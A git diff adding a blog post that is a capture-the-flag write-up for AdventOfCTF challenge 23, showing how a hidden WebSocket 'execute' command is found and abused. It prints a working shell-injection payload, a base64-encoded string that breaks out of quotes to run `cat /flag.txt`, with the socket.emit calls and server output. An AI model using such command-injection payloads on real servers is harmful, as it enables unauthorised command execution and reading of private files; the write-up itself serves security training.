diff --git a/content/posts/adventofctf/challenge_23.md b/content/posts/adventofctf/challenge_23.md
new file mode 100644
index 0000000..48838f5
--- /dev/null
+++ b/content/posts/adventofctf/challenge_23.md
@@ -0,0 +1,228 @@
++++
+author = "Maik de Kruif"
+title = "Challenge 23 - AdventOfCTF"
+date = 2021-03-16T20:52:38+01:00
+description = "A writeup for challenge 23 of AdventOfCTF."
+cover = "img/adventofctf/497784f7a3314f8aa5b8464432e30bbe.png"
+tags = [
+ "AdventOfCTF",
+ "challenge",
+ "ctf",
+ "hacking",
+ "writeup",
+ "web",
+ "websockets",
+]
+categories = [
+ "ctf",
+ "writeups",
+ "hacking",
+]
++++
+
+- Points: 2300
+
+## Description
+
+If all you do is talk, there are bound to be secret features. The flag is stored in /flag.txt.
+
+Visit https://23.adventofctf.com to start the challenge.
+
+## Recon
+
+When opening the page, we're greeted with, what looks like, a chat screen. If we type a message in the message box and send it, it appears on the screen.
+
+If we take a look at the source, we also find a bit of javascript:
+
+```js
+$(function () {
+ var socket = io();
+ $("form").submit(function () {
+ socket.emit("chat message", { message: $("#m").val() });
+ $("#m").val("");
+ return false;
+ });
+ socket.on("chat message", function (msg) {
+ console.log(msg.command);
+ if (msg.command === "code") {
+ $("#messages").append($("
").html("" + msg.message + "
"));
+ } else {
+ $("#messages").append($("").text(msg.message));
+ }
+ window.scrollTo(0, document.body.scrollHeight);
+ });
+});
+```
+
+## Finding the vulnerability
+
+From the JavaScript code we can see that the chat uses WebSockets. To take a deeper look at it, let's switch over to the network tab in Chrome and click on the request with the type "websocket".
+
+{{< figure src="/img/adventofctf/23/websocket.png" title="Websocket in Chrome DevTools" >}}
+
+If we click on it, a tab with the messages sent on the websocket will open. We can see some numbers here, these are just heartbeat packets to keep the connection alive. Now, let's send a new message and have a look at what it actually sends/receives.
+
+After we send the message, we see the following entry being added to the websocket message list.
+
+```js
+⬆42["chat message", {message: "Hi"}]
+⬇42["chat message", {message: "Hi"}]
+```
+
+We can see this message contains two parts; the event name and the message itself. We also only see a message variable, while in the javascript code we also saw it looked for a `"command"`. Let's try to manually add it to the message.
+
+### Manually sending a message
+
+In Chrome (to my knowledge) we can't easily send a message on a websocket. We could use Burp Suit to do it but for this writeup I'll stick with Chrome. To send a message on the websocket, we need the `socket` variable from the javascript code. To get it, go to the `Sources` tab and click on `(index)`. Now click on line number 28 to add a breakpoint there. We choose this place as it will trigger a breakpoint just before a message gets sent and we thus have access to the socket variable.
+
+{{< figure src="/img/adventofctf/23/breakpoint.png" title="Javascipt breakpoint in Chrome" >}}
+
+Now if we try to send a message, chrome will pause the page. The console will now also have the scope of the piece of code at the breakpoint. This means that if we enter `socket` in the console, will get the socket object back:
+
+```js
+> socket
+< Socket {receiveBuffer: Array(0), sendBuffer: Array(0), ids: 0, acks: {…}, flags: {…}, …}
+```
+
+Let's save this object to the global scope so we can always access it. To do this, let's enter the following code in the console:
+
+```js
+window.socket = socket;
+```
+
+We can then click the continue button or press `F8` to continue the script. To verify we still have access to the socket, we can try to send a message using the console. I used the following code for this:
+
+```js
+socket.emit("chat message", { message: "Hello" });
+```
+
+After running this, we also see the message pop up in the chat window.
+
+### Sending a command
+
+Because the code tries to read `msg.command`, let's try adding a command to the message. We can do that using the following code:
+
+```js
+socket.emit("chat message", {
+ message: "Hello",
+ command: "ls",
+});
+```
+
+As we expect from the code, `"ls"` is printed to the console but nothing else seems to happen. Maybe the command does not exist, let's try the common `help` command.
+
+```js
+socket.emit("chat message", { message: "Hello", command: "help" });
+```
+
+This time it returns a different message: "Allowed message types are: help, execute and empty".
+
+## Exploit
+
+The `execute` command looks interesting, so let's take a further look at it.
+
+```js
+socket.emit("chat message", { message: "Hello", command: "execute" });
+```
+
+Upon sending it, the server returns "Invalid BASE64". This probably means it is trying to read base64 encoded data. But from where? Let's try replacing the message with a base64 encoded command.
+
+```bash
+> echo -n "ls" | base64 -w 0
+bHM=⏎
+```
+
+```js
+socket.emit("chat message", { message: "bHM=", command: "execute" });
+```
+
+This time we got a different result:
+
+```text
+ERR: Error: Command failed: /bin/ls 'ls'
+ls: ls: No such file or directory
+```
+
+This means the backend is trying to list the contents of "ls", let's try again with a `/` as the message:
+
+```bash
+> echo -n "/" | base64 -w 0
+Lw==⏎
+```
+
+```js
+socket.emit("chat message", { message: "Lw==", command: "execute" });
+```
+
+This returns the following:
+
+```text
+STDOUT: apps
+bin
+dev
+etc
+flag.txt
+home
+lib
+media
+mnt
+opt
+proc
+root
+run
+sbin
+srv
+sys
+tmp
+usr
+var
+```
+
+The only thing left is reading the `flag.txt` file. From the ls error we know the backend executes the following: `/bin/ls '[MESSAGE]'`. This means we have to construct a command that works around the quotes around our input. An example for the input would be `/'; cat '/flag.txt` as this makes the command become the following:
+
+```bash
+/bin/ls '/'; cat '/flag.txt'
+```
+
+Let's try that.
+
+```bash
+> echo -n "/'; cat '/flag.txt" | base64 -w 0
+Lyc7IGNhdCAnL2ZsYWcudHh0⏎
+```
+
+```js
+socket.emit("chat message", {
+ message: "Lyc7IGNhdCAnL2ZsYWcudHh0",
+ command: "execute",
+});
+```
+
+This will give us the following output:
+
+```text
+STDOUT: apps
+bin
+dev
+etc
+flag.txt
+home
+lib
+media
+mnt
+opt
+proc
+root
+run
+sbin
+srv
+sys
+tmp
+usr
+var
+NOVI{i_hacked_websockets_and_1_am_still_s@ne}
+```
+
+## Solution
+
+We got the flag! It is `NOVI{i_hacked_websockets_and_1_am_still_s@ne}`.
diff --git a/static/img/adventofctf/23/breakpoint.png b/static/img/adventofctf/23/breakpoint.png
new file mode 100644
index 0000000..26f2a7e
Binary files /dev/null and b/static/img/adventofctf/23/breakpoint.png differ
diff --git a/static/img/adventofctf/23/websocket.png b/static/img/adventofctf/23/websocket.png
new file mode 100644
index 0000000..3924324
Binary files /dev/null and b/static/img/adventofctf/23/websocket.png differ
diff --git a/static/img/adventofctf/497784f7a3314f8aa5b8464432e30bbe.png b/static/img/adventofctf/497784f7a3314f8aa5b8464432e30bbe.png
new file mode 100644
index 0000000..296e3d1
Binary files /dev/null and b/static/img/adventofctf/497784f7a3314f8aa5b8464432e30bbe.png differ